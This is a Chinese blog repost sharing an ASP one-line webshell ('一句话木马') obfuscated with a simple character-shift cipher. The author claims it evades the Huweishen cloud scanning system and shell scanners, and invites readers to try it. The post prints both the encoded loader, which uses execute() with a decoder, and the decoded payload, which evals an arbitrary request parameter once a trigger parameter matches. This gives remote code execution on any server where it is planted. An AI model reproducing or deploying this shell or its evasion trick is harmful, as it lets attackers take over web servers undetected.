一句话木马加密过护卫神云查杀系统过shell扫描器

165 阅读 0 评论 109 点赞

我是靠谱客的博主忧虑发夹，最近开发中收集的这篇文章主要介绍一句话木马加密过护卫神云查杀系统过shell扫描器，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

分享给大家暂时未测试大家自己用用看

大马的代码是简单加密了下的！很容易解开看见是加密的一段代码

复制代码

代码如下:

<%
codeds="Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"
execute (decode (codeds) )
Function DeCode (Coded)
On Error Resume Next
For i = 1 To Len (Coded)
Curchar = Mid (Coded, i, 1)
If Asc (Curchar) = 16 then
Curchar = chr (8)
Elseif Asc (Curchar) = 24 then
Curchar = chr (12)
Elseif Asc (Curchar) = 32 then
Curchar = chr (18)
Else
Curchar = chr (Asc (Curchar) -3)
End if
DeCode = Decode&Curchar
Next
End Function
response.write(decode(codeds))
%>

很简单的加密，解开一看

复制代码

代码如下:

<%
If request("xx") ="x" then eval request("hkmjj") end if
%>

经过测试，发现过目前的护卫神云查杀系统，这个貌似用的人挺多的